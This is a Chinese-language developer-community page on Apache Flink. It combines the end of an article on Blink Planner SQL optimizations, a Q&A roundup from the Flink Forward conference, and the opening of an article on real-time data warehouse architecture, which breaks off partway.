    Blink Planner 不是在每次调用 insert into 的时候就开始优化,而是先将所有的 insert into 操作缓存起来,等到执行前才进行优化,这样就可以看到完整的执行图,可以知道哪些部分是重复计算的。Blink Planner 通过寻找可以优化的最大公共子图,找到这些重复计算的部分。经过优化后,Blink Planner 会将最大公共子图的部分当做一个临时表,供其他部分直接使用。

    这样,上面的图可以分为三部分,最大公共子图部分(临时表),临时表与 Filter 和 SinkTable1 优化,临时表与第二个 Aggregate 和 SinkTable 2 优化。

    Blink Planner 其实是通过声明的 View 找到最大公共子图的,因此在开发过程中,如果需要复用某段逻辑,就将其定义为 View,这样就可以充分利用 Blink Planner 的分段优化功能,减少重复计算。

    当然,当前的优化也不是最完美的,因为提前对图进行了切割,可能会导致一些优化丢失,今后会持续地对这部分算法进行改进。

    总结一下,Blink Planner 的分段优化,其实解的是多 Sink 优化问题(DAG 优化),单 Sink 不是分段优化关心的问题,单 Sink 可以在所有节点上优化,不需要分段。

    ■ Sub-Plan Reuse

    示例 6

    insert into SinkTabl
    select freq from (select word, count(1) as freq from SourceTable group by word) t where word like 'T%'
    union all
    select count(word) as freq2 from (select word, count(1) as freq from SourceTable group by word) t group by freq;

    这个示例的 SQL 和分段优化的 SQL 其实是类似的,不同的是,没有将结果 Sink 到两个 Table 里面,而是将结果 Union 起来,Sink 到一个结果表里面。

    下面看一下转化为 RelNode 的 DAG 图:

    640 8.png

    图 8 示例 6 RelNode DAG

    从上图可以看出,Scan 和第一层的 Aggregate 也是有重复计算的,Blink Planner 其实也会将其找出来,变成下面的图:

    640 9.png

    图9 示例 6 Blink Planner DAG

    Sub-Plan 优化的启用,有两个相关的配置:

    • table.optimizer.reuse-sub-plan-enabled (默认开启)
    • table.optimizer.reuse-source-enabled(默认开启)

    这两个配置,默认都是开启的,用户可以根据自己的需求进行关闭。这里主要说明一下 table.optimizer.reuse-source-enabled 这个参数。在 Batch 模式下,join 操作可能会导致死锁,具体场景是在执行 hash-join 或者 nested-loop-join 时一定是先读 build 端,然后再读 probe 端,如果启用 reuse-source-enabled,当数据源是同一个 Source 的时候,Source 的数据会同时发送给 build 和 probe 端。这时候,build 端的数据将不会被消费,导致 join 操作无法完成,整个 join 就被卡住了。

    为了解决死锁问题,Blink Planner 会先将 probe 端的数据落盘,这样 build 端读数据的操作才会正常,等 build 端的数据全部读完之后,再从磁盘中拉取 probe 端的数据,从而解决死锁问题。但是,落盘会有额外的开销,会多一次写的操作;有时候,读两次 Source 的开销,可能比一次写的操作更快,这时候,可以关闭 reuse-source,性能会更好。

    当然,如果读两次 Source 的开销,远大于一次落盘的开销,可以保持 reuse-source 开启。需要说明的是,Stream 模式是不存在死锁问题的,因为 Stream 模式 join 不会有选边的问题。

    总结而言,sub-plan reuse 解的问题是优化结果的子图复用问题,它和分段优化类似,但他们是一个互补的过程。

    注:Hash Join:对于两张待 join 的表 t1, t2。选取其中的一张表按照 join 条件给的列建立hash 表。然后扫描另外一张表,一行一行去建好的 hash 表判断是否有对应相等的行来完成 join 操作,这个操作称之为 probe (探测)。前一张表叫做 build 表,后一张表的叫做 probe 表。

    ■ Agg 分类优化

    Blink 中的 Aggregate 操作是非常丰富的:

    • group agg,例如:select count(a) from t group by b
    • over agg,例如:select count(a) over (partition by b order by c) from t
    • window agg,例如:select count(a) from t group by tumble(ts, interval '10' second), b
    • table agg ,例如:tEnv.scan('t').groupBy('a').flatAggregate(flatAggFunc('b' as ('c', 'd')))

    下面主要对 Group Agg 优化进行讲解,主要是两类优化。

    ■ Local/Global Agg 优化

    Local/Global Agg 主要是为了减少网络 Shuffle。要运用 Local/Global 的优化,必要条件如下:

    • Aggregate 的所有 Agg Function 都是 mergeable 的,每个 Aggregate 需要实现 merge 方法,例如 SUM,COUNT,AVG,这些都是可以分多阶段完成,最终将结果合并;但是求中位数,计算 95% 这种类似的问题,无法拆分为多阶段,因此,无法运用 Local/Global 的优化。
    • table.optimizer.agg-phase-strategy 设置为 AUTO 或者 TWO_PHASE。
    • Stream 模式下,mini-batch 开启 ;Batch 模式下 AUTO 会根据 cost 模型加上统计数据,选择是否进行 Local/Global 优化。

    示例 7

    select count(*) from t group by color

    没有优化的情况下,下面的这个 Aggregate 会产生 10 次的 Shuffle 操作。

    640 10.png

    图 10 示例 7 未做优化的 Count 操作

    使用 Local/Global 优化后,会转化为下面的操作,会在本地先进行聚合,然后再进行 Shuffle 操作,整个 Shuffle 的数据剩下 6 条。在 Stream 模式下,Blink 其实会以 mini-batch 的维度对结果进行预聚合,然后将结果发送给 Global Agg 进行汇总。

    640 11.png

    图 11 示例 7 经过 Local/Global 优化的 Count 操作

    ■ Distinct Agg 优化

    Distinct Agg 进行优化,主要是对 SQL 语句进行改写,达到优化的目的。但 Batch 模式和 Stream 模式解决的问题是不同的:

    • Batch 模式下的 Distinct Agg,需要先做 Distinct,再做 Agg,逻辑上需要两步才能实现,直接实现 Distinct Agg 开销太大。
    • Stream 模式下,主要是解决热点问题,因为 Stream 需要将所有的输入数据放在 State 里面,如果数据有热点,State 操作会很频繁,这将影响性能。

    Batch 模式

    第一层,求 distinct 的值和非 distinct agg function 的值,第二层求 distinct agg function 的值。

    示例 8

    select color, count(distinct id), count(*) from t group by color

    手工改写成:

    select color, count(id), min(cnt) from (
       select color, id, count(*) filter (where $e=2) as cnt from (       
          select color, id, 1 as $e from t --for distinct id 
          union all
          select color, null as id, 2 as $e from t -- for count(*) 
      ) group by color, id, $e 
    ) group by color

    转化的逻辑过程,如下图所示:

    640 12.png

    图 12 示例 8 Batch 模式 Distinct 改写逻辑

    Stream 模式

    Stream 模式的启用有一些必要条件:

    • 必须是支持的 agg function:avg/count/min/max/sum/first_value/concat_agg/single_value;
    • table.optimizer.distinct-agg.split.enabled(默认关闭)

    示例 9

    select color, count(distinct id), count(*) from t group by color

    手工改写成:

    select color, sum(dcnt), sum(cnt) from (
      select color, count(distinct id) as dcnt, count(*) as cnt from t 
      group by color, mod(hash_code(id), 1024)
    ) group by color

    改写前,逻辑图大概如下:

    640 13.png

    图 13 示例 9 Stream 模式未优化 Distinct

    改写后,逻辑图就会变为下面这样,热点数据被打散到多个中间节点上。

    640 14.jpg

    图14 示例 9 Stream 模式优化 Distinct

    需要注意的是,示例 5 的 SQL 中 mod(hash_code(id),1024)中的这个 1024 为打散的维度,这个值建议设置大一些,设置太小产生的效果可能不好。

    总结

    本文首先对新的 TableEnvironment 的整体设计进行了介绍,并且列举了各种模式下TableEnvironment 的选择,然后通过具体的示例,展示了各种模式下代码的写法,以及需要注意的事项。

    在新的 Catalog 和 DDL 部分,对 Catalog 的整体设计、DDL 的使用部分也都以实例进行拆分讲解。最后,对 Blink Planner 解析 SQL/Table API 的流程、Blink Planner 的改进以及优化的原理进行了讲解,希望对大家探索和使用 Flink SQL 有所帮助。

    ]]>
    18个PPT,29个提问解答,都在这儿啦!-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 4月25-26日,全球首个 Apache 顶级项目在线盛会 Flink Forward 中文精华版重磅开播,聚焦 Alibaba、 Google、AWS、Uber、Netflix、DellEMC、微博、滴滴等各大互联网公司实时计算的经典场景和业务故事,由 Flink 核心贡献者们对 19 个优质 talk 进行中文翻译及解说,您可免费在线观看。

    为期一天半的 Flink Forward 中文精华版在北京、上海、杭州三地进行联动直播,吸引了全球近 20000 人次开发者在线观看。除优质内容外,Flink Forward 精华版还首次开创问题征集,在线观看直播的同学可及时对嘉宾分享提出疑问并邀请讲师在线解答。

    ▼Flink Forward 中文精华版 PPT 下载▼

    扫描下方「Flink 中文社区」公众号二维码,后台回复关键字【0425PPT】即可下载大会全部分享内容~

    Flink 中文社区.jpg

    大会全部提问及解答:
    https://shimo.im/sheets/twgyxGh9hqy6DHYk/MODOC/

    直播回顾及 Flink 社区学习资料大礼包下载请点击:

    Flink Forward 全球在线会议中文精华版0425
    Flink Forward 全球在线会议中文精华版0426

    以下选取了大会部分具有代表性的问题及讲师回答,共享给大家。

    Keynote: Introducing Stateful Functions 2.0: Stream Processing meets Serverless Applications

    解说嘉宾:李钰(绝顶),Apache Flink Committer,Apache Flink 1.10 Release Manager,阿里巴巴高级技术专家。

    「Q」:PyFlink 支持 Stateful Function 吗?另外 Stateful Function 的 State 管理是怎么样的?
    「A」:目前暂不支持。

    Stateful Function 的 State 管理和通常 streaming 作业的 State 管理是一样的,并没有作特殊处理。actor system 或者说应用这块,它和 stream processing 有一个很大的区别在于流处理是一个 DAG (有向无环图)的结构。但是 actor system 是可能有环的。Stateful Function 实际上是增加了一个 feedback loop 支持,但它并没有去改动 runtime 内核,可以理解为是利用 streaming 自带的 state 管理来做的。

    圆桌 | Lyft: 基于 Flink 的准实时海量数据分析平台

    解说嘉宾:王阳(亦祺),阿里巴巴技术专家。

    「Q」:Flink 实时写 parquet 文件会不会产生大量小文件呀?怎么处理小文件问题呢?
    「A」:用 StreamingFileSink 去写 Parquet 格式的数据是会产生小文件的,这样会导致 presto/hive client 去分析时性能比较差,Lyft 的做法是通过 SuccessFile Sensor 让 airflow 自动调度一些 ETL 的任务来进行 compaction 和 deduplication,已经处理完成的会将 rawevent 的分区 swap 出去。这样处理以后得到更好的数据质量,同时提升交互式查询的性能。

    演讲 | 微博基于 Flink 的机器学习实践

    分享嘉宾:

    • 于茜,微博机器学习研发中心高级算法工程师。多年来致力于使用 Flink 构建实时数据处理和在线机器学习框架,有丰富的社交媒体应用推荐系统的开发经验。
    • 曹富强,微博机器学习研发中心系统工程师。现负责微博机器学习平台数据计算模块。主要涉及实时计算 Flink,Storm,Spark Streaming,离线计算 Hive,Spark 等。目前专注于 Flink 在微博机器学习场景的应用。
    • 于翔,微博机器学习研发中心算法架构工程师。

    「Q」:Gemini 是怎么使用的?
    「A」:这个问题比较复杂,后期我们会在公众号发布详细的使用说明及对比实验。

    Tips:后期微博机器学习研发中心团队将就“如何使用 Gemini”主题分享一篇技术文章,除详细的使用说明外还有对比实验分析,敬请期待!

    「Q」:样本的多流 join 是基于哪种窗口实现的?
    「A」:Flink 现有的窗口计算不能满足我们的业务需求,我们用 union + timer 实现了滑动窗口,数据存储到 map state 里,底层采用 rocksdb + ssd 硬盘来存储,并且自定义了样本的 trigger 触发机制。我们对比过 rocksdb,java heap 这两种 state backend 的策略,在均衡业务场景,处理速度和硬件代价之后,最终选择rocksdb + ssd 来作为 state 的 backend。

    「Q」:多媒体特征计算是怎么通过 Flink 支持的,能详细解释下吗?这块的稳定性如何?如何保证的?
    「A」:首先我们在 gpu上部署算法模型,并且把模型封装成 rpc 服务。然后通过 Flink 来调用 rpc 服务,实时的生成图片,视频的各种特征。

    稳定性 :我们通过 Flink metrics,对整个作业的全流程做监控,包括但不限于rpc服务的耗时,成功率等指标。通过 At Least Once 机制来保证每条数据都处理一次。通过对 source (kafka) 端上的监控来监控整体作业的延迟。

    另外根据业务场景引入了高可用的保障机制(对账系统),来保证数据处理的稳定性,目前重点业务可以达到99.999%的成功率。

    「Q」:模型上线后如何使应用自动将原始输入数据转变成模型需要的输入变量?
    「A」:模型上线预测时,在在线系统中,我们从特征服务中获取特征字段,拼接出原始特征数据,然后经过一个特征处理的模块,将原始样本转化为模型需要的输入数据(可以是libsvm格式或者是适合 DNN 的其他数据格式),然后传到模型服务模块,特征处理的输出的数据格式以及特征处理的代码,训练与预测时保持一致的,唯一的区别在于训练的数据相对在线预测的数据会多出 label 相关的字段。

    演讲 | Alink:提升基于 Flink 的机器学习平台易用性

    分享嘉宾:杨旭(品数),阿里巴巴资深技术专家。

    「Q」:支持实时机器学习的算法多吗?如何防止个别奇异值对模型的影响?
    「A」:Alink 所有的分类、回归模型都支持流式数据的预测,在线学习算法方面目前支持 FTRL。在各个模型训练时,有对特殊数据的处理,另外,使用 Alink 的数据处理组件,也可以在训练前进行数据清洗。

    「Q」:1.10 已经没有 FlinkML 了吧?FlinkML 和 ALink 之间的关系是?
    「A」:FlinkML 为 Flink 自带的机器学习算法库,分为旧的版本和新的版本。在做 Alink 前,我们首先认真调研了当时的 FlinkML(即旧版本 FlinkML)的情况,其仅支持 10 余种算法,支持的数据结构也不够通用,在算法性能方面做的优化也比较少,而且其代码也很久没有更新。所以,我们放弃了基于旧版 FlinkML 进行改进、升级的想法,决定基于 Flink 重新设计研发机器学习算法库,随后发展为现在的 Alink。

    在 Alink 发展的过程中,我们一直与 Flink 社区紧密关联,在每年的 Flink Forward 大会上汇报我们的进展,共同探讨技术问题,获取反馈和建议。随着 Alink 功能的不断增强和完善,社区中欢迎 Alink 进行开源的呼声日益高涨,我们可开始和 Flink 社区更紧密联系,推动开源 Alink 的代码进入 FlinkML。

    与此同时,社区中更多的人意识到旧版 FlinkML 的问题,决定整个废弃掉旧版 FlinkML,建设新版 FlinkML。我们积极参加新版 FlinkML API 的设计,分享 Alink API 设计的经验;Alink 的 Params 等概念被社区采纳;之后开始为新版 FlinkML 贡献算法实现代码,已提交了 40 余个 PR,包括算法基础框架、基础工具类及若干算法实现。

    Alink 包含了非常多的机器学习算法,在向 FlinkML 贡献的过程中,需要社区 commiter 的讨论设计与审查代码,这个过程有助于代码的精益求精,但由于社区 commiter 的资源有限,代码完全贡献到 FlinkML 的过程会持续很长时间。这时,我们不得不考虑是否有其他方式,可以让用户先用起来,Alink 单独开源是个很好的解决方式,它与向 FlinkML 继续贡献算法实现,可以同时进行。用户的使用反馈也有助于我们更好的改进算法实现。此想法获得了社区的支持,获得了公司内领导和同事的支持,在 Flink Forword Asia 2019 大会上,宣布了 Alink 开源。

    圆桌 | Flink SQL 之 2020:舍我其谁

    解说嘉宾:伍翀(云邪),Apache Flink PMC,阿里巴巴技术专家。

    「Q」:demo 里的 catalog 里表的元数据是基于内存的还是持久化到外部存储的?
    「A」:demo 里有注册了两个 catalog,一个 default catalog(内存),一个 hive catalog(持久化),两种 catalog 都能存批的表和流的表(其实 Flink SQL 不区分流和批的表)

    「Q」:本案例跟您上一次(2020年2月份)讲的 flink SQL 案例 中用到的特性有什么不一样吗?
    「A」:本次 demo 覆盖的 feature 更全,包括 4 种 join,流批一致性,CEP 等等。

    圆桌 | Apache Flink 误用之痛

    解说嘉宾:孙金城(金竹),Apache Member,Apache Flink PMC,阿里巴巴高级技术专家。

    「Q」:Flink 窗口计算,heap 状态存取消耗很多 cpu,对比 spark 相同逻辑窗口计算多耗很多 cpu,请问有没有优化方案?
    「A」:这个要看具体的场景,需要更细致的场景说明一下?一般的优化方法如下:

    1. 尽量用增量聚合替代全量聚合[1]。不仅减小 state 的大小,而且能在数据抵达窗口时就开始计算。
    2. 注意下 Type 是否都能被 Flink 识别,否则序列化反序列化会用默认的 Kryo,导致序列化反序列化加大 cpu 开销[2]。可以配上env.getConfig().disableGenericTypes(); 来禁用 Kryo,验证下是否类型都被Flink识别了。

    [1] https://ci.apache.org/projects/flink/flink-docs-master/dev/stream/operators/windows.html#processwindowfunction-with-incremental-aggregation
    [2] https://ci.apache.org/projects/flink/flink-docs-stable/dev/types_serialization.html#data-types-serialization

    「Q」:请问多个窗口级联相同的 keyby 可以使用 datastreamutil 吗?多个 key 特别长有没有方法优化
    「A」:
    1.可以用 DataStreamUtil 来级联,避免多次 shuffle。
    2.业务上如果有办法优化 key 的长度是最好的,比如减少字段数;或者抽取指定长度或位置的数据作为 key。其次,技术上可以将 key hash 下,比如取 md5,但是这个会带来多余的 cpu 损耗,需要和 key 偏长而带来的网络或 io 损耗来权衡,看哪个代价更高。

    圆桌 | Uber :使用 Flink CEP 进行地理情形检测的实践

    解说嘉宾:付典,Apache Flink Committer,阿里巴巴技术专家。

    「Q」:CEP 一般怎么调优性能?
    「A」:Flink CEP 里,规则的复杂程度对于性能影响很大,所以如果遇到性能问题,可以从是否可以从业务的角度简化规则的角度来优化

    「Q」:那个不同的 key 的窗口错开是使用自定义窗口 trigger 吗?
    「A」:可以理解为实现了一个自定义的 WindowAssigner,WindowAssigner 针对每个 key 在调用的时候,加入了随机的因素,从而使得不同的 key 得到的窗口范围不一样。

    演讲 | A deep dive into Flink SQL

    分享嘉宾:伍翀(云邪),Apache Flink PMC,阿里巴巴技术专家。

    「Q」:minibatch 减少与 state 交互的方式可以在 datastream 中用吗?
    「A」:minibatch 优化目前只在 SQL 层的聚合算子中实现了,DataStream 中用不了。

    「Q」:Flink SQL 为了支持流批统一,底层用了大量 CodeGen 技术,同样的 SQL 在底层 codegen 出不同的代码,这个 codegen 过程消耗时间吗?对应批,尤其是 OLAP 这种场景,需要快速出结果的场景,codegen 会占整个过程时间的比例?
    「A」:目前 codegen 发生在编译期,因此只执行一次,所以对于流作业和批作业都还好。不过对于 OLAP 场景确实对于 codegen 以及 代码编译都会非常敏感,也是以后的一个优化方向,目前还没有评测过 codegen 的耗时。

    「Q」:stream 模式可能拿不到 statistics 的情况下 join 的优化是怎么做的?
    「A」:目前流计算模式的所有优化都是确定性的优化,没有考虑 statistics。不过批的优化已经考虑了。在拿不到 stats 的时候,我们会有默认的统计值,比如 rowcount=10^8。

    演讲 | Flink's application at Didi

    分享嘉宾:薛康,现任滴滴技术专家,实时计算负责人。毕业于浙江大学,曾任百度高级研发工程师,对大数据生态建设有丰富经验。

    「Q」:能讲一下 streamsql 在线 debug 功能实现原理吗?
    「A」:解析 SQL,替换 source 和 sink 为文件和标准输出,然后正常执行 DML,把结果打印到标准输出,展示在平台上。

    「Q」:sql IDE 中写的 sql ,血缘关系是怎么实现的?
    「A」:每个 connector 会上报连接的数据源信息,比如 kafka 集群、topic等,作为指标上报到 kafka,然后存入 druid,由平台串联各个环节,组成完整链路。

    「Q」:想问下怎么监控各个 flink 集群中作业的运行状态,类似于 flink-web 上的每个作业状态(运行或失败)。
    「A」:定期通过 yarn api 拿到每个 app 的 JM 地址,通过 JM 的 restful API 拿到正在运行的 job 信息,判断每个 job 的启动时间,如果在两次判断之间,说明期间有过重启,累积一定次数就可以报警。注意判断刚提交的情况。

    「Q」:kafka table 的元数据管理,group.id,start-mode 这种运行时参数怎么持久化?还是只保存静态的 kafka connection 信息 / schema 信息,group.id/start-mode 等作为表参数传入?
    「A」:确实,只保存静态信息,比较个性化的运行时信息作为参数,通过 set key=value 的形式作为 job 的一部分一起提交。

    演讲 | Data Warehouse, Data Lakes, What's Next?

    分享嘉宾:金晓军(仙隐),阿里巴巴高级技术专家。

    「Q」:hologres 能支持高性能的更新操作来实现 Flink RetractSink 吗?
    「A」:可以支持。其实如果用了 hologres,直接存明细就好了,大部分场景不需要做预聚合,需要的时候直接查询。

    「Q」:hologres 大数据量的查询效率如何?能支持更新删除操作不?
    「A」:可以支持,目前线上有万亿级别的表做多维分析,能够在200ms以内算出结果。hologres 支持更新和删除。

    「Q」:hologres 相较于现在社区的数据湖框架 hudi,delta 和 iceberg 的差异点是什么?
    「A」:

    1. hologres 是数据 ingestion 实时生效,而目前开源方案是 mini-batch,类似于flink和 spark streaming 的区别。
    2. Hologres 本身是提供服务能力,可以直接给线上应用提供服务,更高的SLA。
    3. hologres 能提供高 qps 的查询能了,可以直接作为 flink 的维表。

    演讲 | 终于等到你:PyFlink + Zeppelin

    分享嘉宾:

    • 孙金城(金竹),Apache Member,Apache Flink PMC,阿里巴巴高级技术专家。
    • 章剑锋(简锋),Apache Member,Apache Zeppelin PMC,阿里巴巴高级技术专家。

    「Q」:既然定位在全面整合 Python,那么加强 Jupyter notebook 就好了吧,Zeppelin vs Jupyter怎么考虑?
    「A」:首先 PyFlink 会在 Zeppelin 和 Jupyter 中都会进行支持,目前是 Zeppelin走在前面。Zeppelin vs Jupyter 来讲 Zeppelin更加侧重大数据的计算场景, Jupyter 更贴合机器学习的场景,Zeppelin 可以多租户企业级使用,Jupyter 更适合单用户场景。

    「Q」:flink on zeppelin 的最佳应用场景有哪些?
    「A」:批流计算的 ETL 和数据分析,适合用 flink sql,pyflink 和 table api。

    「Q」:Zeppelin 对 K8s 的支持目前如何,社区有这块的规划吗?另外 Zeppelin on K8s 为啥选择使用 Pod 来部署 Zeppelin Server 而不是 statefulset 或者 deployment 呢?
    「A」:这块正在做,依赖于 flink 对 k8s 的支持,预计 zeppelin 0.9 + flink 1.11 可以完美支持 k8s。

    Production-Ready Flink and Hive Integration - what story you can tell now?

    解说嘉宾:李锐(天离),Apache Hive PMC,阿里巴巴技术专家。

    **「Q」:既然有 hive 了,也有好用的 Hive 客户端工具,比如 dbvis。如果公司业务是使用 hive 做离线批查询,值得再通过其他框架这样整合吗?我直接使用 dbvis 来做 hive 分析不就好了?
    疑问:Hive 是批分析工具,有必要强行和流整合吗?专工具专用是不是更好些?**
    「A」:还是有不少用户需要对 hive 做实时化改进的,比如实时写入,或者通过 presto、impala 等做交互式查询。Flink 与 Hive 整合可以完全是批的模式,获取比 Hive 原有批处理更好的性能。另一方面我们也观察到有用户希望能够实时的消费写入 Hive 的数据,这种情况就需要跟流整合了。

    「Q」:1.10 中可以在 hivecatalog 上建 kafka 表,是不是已经可以接 kafka 数据写人 hive 表中了(及批流已经统一了)?
    「A」:不是的,1.10 只是通过 hive catalog 来保存 kafka 表的元数据,但写入实际数据的时候还是只支持批式的写入。流式写入 hive 表要 1.11 才支持。

    D3BD265F-1EFD-4C7E-A64E-951391596B30-352-000000CC68375C0C.jpg

    ]]>
    都在说实时数据架构,你了解多少?-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 作者:刘大龙@唯品会

    随着互联网的发展进入下半场,数据的时效性对企业的精细化运营越来越重要, 商场如战场,在每天产生的海量数据中,如何能实时有效的挖掘出有价值的信息, 对企业的决策运营策略调整有很大帮助。此外,随着 5G 技术的成熟、广泛应用, 对于工业互联网、物联网等数据时效性要求非常高的行业,企业就更需要一套完整成熟的实时数据体系来提高自身的行业竞争力。

    本文从上述现状及实时数据需求出发,结合工业界案例、笔者的实时数据开发经验, 梳理总结了实时数据体系建设的总体方案,本文主要分为三个部分:

    第一部分主要介绍了当下在工业界比较火热的实时计算引擎 Flink 在实时数据体系建设过程中主要的应用场景及对应解决方案;
    第二部分从实时数据体系架构、实时数据模型分层、实时数据体系建设方式、流批一体实时数据架构发展等四个方面思考了实时数据体系的建设方案;
    第三部分则以一个具体案例介绍如何使用 Flink SQL 完成实时数据统计类需求。

    一、Flink 实时应用场景

    目前看来,Flink 在实时计算领域内的主要应用场景主要可分为四类场景, 分别是实时数据同步、流式 ETL、实时数据分析和复杂事件处理,具体的业务场景和对应的解决方案可详细研究下图, 文字层面不再详述。

    640.png

    二、实时数据体系架构

    实时数据体系大致分为三类场景:流量类、业务类和特征类,这三种场景各有不同。

    • 在数据模型上,流量类是扁平化的宽表,业务数仓更多是基于范式的建模,特征数据是 KV 存储;
    • 从数据来源区分,流量数仓的数据来源一般是日志数据,业务数仓的数据来源是业务 binlog 数据,特征数仓的数据来源则多种多样;
    • 从数据量而言,流量和特征数仓都是海量数据,每天十亿级以上,而业务数仓的数据量一般每天百万到千万级;
    • 从数据更新频率而言,流量数据极少更新,则业务和特征数据更新较多,流量数据一般关注时序和趋势,业务数据和特征数据关注状态变更;
    • 在数据准确性上,流量数据要求较低,而业务数据和特征数据要求较高。

    2.1 实时数据体系整体架构

    640 2.jpg

    整个实时数据体系架构分为五层,分别是接入层,存储层,计算层、平台层和应用层,上图只是整体架构的概要图,每一层具体要做的事情,接下来通过文字来详述。

    • 接入层:该层利用各种数据接入工具收集各个系统的数据,包括 binlog 日志、埋点日志、以及后端服务日志,数据会被收集到 Kafka 中;这些数据不只是参与实时计算,也会参与离线计算,保证实时和离线的原始数据是统一的;
    • 存储层:该层对原始数据、清洗关联后的明细数据进行存储,基于统一的实时数据模型分层理念,将不同应用场景的数据分别存储在 Kafka、HDFS、Kudu、 Clickhouse、Hbase、Redis、Mysql 等存储引擎中,各种存储引擎存放的具体的数据类型在实时数据模型分层部分会详细介绍;
    • 计算层:计算层主要使用 Flink、Spark、Presto 以及 ClickHouse 自带的计算能力等四种计算引擎,Flink 计算引擎主要用于实时数据同步、 流式 ETL、关键系统秒级实时指标计算场景,Spark SQL 主要用于复杂多维分析的准实时指标计算需求场景,Presto 和 ClickHouse 主要满足多维自助分析、对查询响应时间要求不太高的场景;
    • 平台层:在平台层主要做三个方面的工作,分别是对外提供统一查询服务、元数据及指标管理、数据质量及血缘;
    • 应用层:以统一查询服务对各个业务线数据场景进行支持,业务主要包括实时大屏、实时数据产品、实时 OLAP、实时特征等。

    其中,平台层详细工作如下:

    1. 统一查询服务支持从底层明细数据到聚合层数据的查询,支持以SQL化方式查询Redis、Hbase等KV存储中的数据;
    2. 元数据及指标管理:主要对实时的Kafka表、Kudu表、Clickhouse表、Hive表等进行统一管理,以数仓模型中表的命名方式规范表的命名,明确每张表的字段含义、使用方,指标管理则是尽量通过指标管理系统将所有的实时指标统一管理起来,明确计算口径,提供给不同的业务方使用;
    3. 数据质量及血缘分析:数据质量分为平台监控和数据监控两个部分,血缘分析则主要是对实时数据依赖关系、实时任务的依赖关系进行分析。

    平台监控部分一是对任务运行状态进行监控,对异常的任务进行报警并根据设定的参数对任务进行自动拉起与恢复,二是针对 Flink 任务要对 Kafka 消费处理延迟进行监控并实时报警。

    数据据监控则分为两个部分,首先流式 ETL 是整个实时数据流转过程中重要的一环,ETL 的过程中会关联各种维表,实时关联时,定时对没有关联上的记录上报异常日志到监控平台,当数量达到一定阈值时触发报警, 其次,部分关键实时指标采用了 lambda 架构,因此需要对历史的实时指标与离线 hive 计算的数据定时做对比,提供实时数据的数据质量监控,对超过阈值的指标数据进行报警。

    为了配合数据监控,需要做实时数据血缘,主要是梳理实时数据体系中数据依赖关系,以及实时任务的依赖关系,从底层ODS 到 DW 再到 DM,以及 DM 层被哪些模型用到, 将整个链条串联起来,这样做在数据/任务主动调整时可以通知关联的下游,指标异常时借助血缘定位问题,同时基于血缘关系的分析,我们也能评估数据的应用价值,核算数据的计算成本。

    2.2 实时数据模型分层

    640 3.png

    离线数仓考虑到效率问题,一般会采取空间换时间的方式,层级划分会比较多;实时数仓考虑到实时性问题,分层则越少越好,另外也减少了中间流程出错的可能性,因此将其分为四层。

    ■ ODS 层:

    • 操作数据层,保存原始数据,对非结构化的数据进行结构化处理,轻度清洗,几乎不删除原始数据;
    • 该层的数据主要来自业务数据库的 binlog 日志、埋点日志和应用程序日志;
    • 对于 binlog 日志通过 canal 监听,写到消息队列 Kafka 中,对应于埋点和应用程序日志,则通过 Filebeat 采集 nginx 和 tomcat 日志,上报到Kafka 中;
    • 除了存储在 Kafka 中,同时也会对业务数据库的 binlog 日志通过 Flink 写入 HDFS、Kudu 等存储引擎,落地到 5min Hive 表,供查询明细数据,同时也提供给离线数仓,做为其原始数据;另外,对于埋点日志数据,由于 ODS 层是非结构化的,则没有必要落地。

    ■ DWD 层:

    • 实时明细数据层,以业务过程作为建模驱动,基于每个具体的业务过程特点,构建最细粒度的明细层事实表;可以结合企业的数据使用特点,将明细事实表的某些重要维度属性字段做适当冗余,也即宽表化处理;
    • 该层的数据来源于 ODS 层,通过简单的 Streaming ETL 后得到,对于 binlog 日志的处理主要进行简单的数据清洗、处理数据漂移,以及可能对多个 ODS 层的表进行 Streaming Join,对流量日志主要是做一些通用ETL 处理,将非结构化的数据结构化,关联通用的维度字段;
    • 该层的数据存储在消息队列 Kafka 中,同时也会用 Flink 实时写入 Hive 5min 表,供查询明细数据,同时要提供给离线数仓,做为其原始数据。

    ■ DIM 层:

    • 公共维度层,基于维度建模理念思想,建立整个业务过程的一致性维度,降低数据计算口径和算法不统一风险;
    • DIM 层数据来源于两部分:一部分是Flink程序实时处理ODS层数据得到,另外一部分是通过离线任务出仓得到;
    • DIM 层维度数据主要使用 MySQL、Hbase、Redis 三种存储引擎,对于维表数据比较少的情况可以使用 MySQL,对于单条数据大小比较小,查询 QPS 比较高的情况,可以使用 Redis 存储,降低机器内存资源占用,对于数据量比较大,对维表数据变化不是特别敏感的场景,可以使用HBase 存储。

    ■ DM 层:

    (1)数据集市层

    以数据域+业务域的理念建设公共汇总层,对于DM层比较复杂,需要综合考虑对于数据落地的要求以及具体的查询引擎来选择不同的存储方式,分为轻度汇总层和高度汇总层,同时产出,高度汇总层数据用于前端比较简单的KV查询, 提升查询性能,比如实时大屏,实时报表等,数据的时效性要求为秒级,轻度汇总层Kafka中宽表实时写入OLAP存储引擎,用于前端产品复杂的OLAP查询场景,满足自助分析和产出复杂报表的需求,对数据的时效性要求可容忍到分钟级;

    (2)轻度汇总层
    • 轻度汇总层由明细层通过Streaming ETL得到,主要以宽表的形式存在,业务明细汇总是由业务事实明细表和维度表join得到,流量明细汇总是由流量日志按业务线拆分和维度表join得到;
    • 轻度汇总层数据存储比较多样化,首先利用Flink实时消费DWD层Kafka中明细数据join业务过程需要的维表,实时打宽后写入该层的Kafka中,以Json或PB格式存储;
    • 同时对多维业务明细汇总数据通过Flink实时写入Kudu,用于查询明细数据和更复杂的多维数据分析需求,对于流量数据通过Flink分别写入HDFS和ClickHouse用于复杂的多维数据分析, 实时特征数据则通过Flink join维表后实时写入HDFS,用于下游的离线ETL消费;
    • 对于落地Kudu和HDFS的宽表数据,可用Spark SQL做分钟级的预计算,满足业务方复杂数据分析需求,提供分钟级延迟的数据,从而加速离线ETL过程的延迟, 另外随着Flink SQL与Hive生态集成的不断完善,可尝试用Flink SQL做离线ETL和OLAP计算任务(Flink流计算基于内存计算的特性,和presto非常类似,这使其也可以成为一个OLAP计算引擎),用一套计算引擎解决实时离线需求,从而实现批流统一;
    • 对于Kudu中的业务明细数据、ClickHouse中的流量明细数据,也可以满足业务方的个性化数据分析需求,利用强大的OLAP计算引擎,实时查询明细数据,在10s量级的响应时间内给出结果,这类需求也即是实时OLAP需求,灵活性比较高。
    (3)高度汇总层
    • 高度汇总层由明细数据层或轻度汇总层通过聚合计算后写入到存储引擎中,产出一部分实时数据指标需求,灵活性比较差;
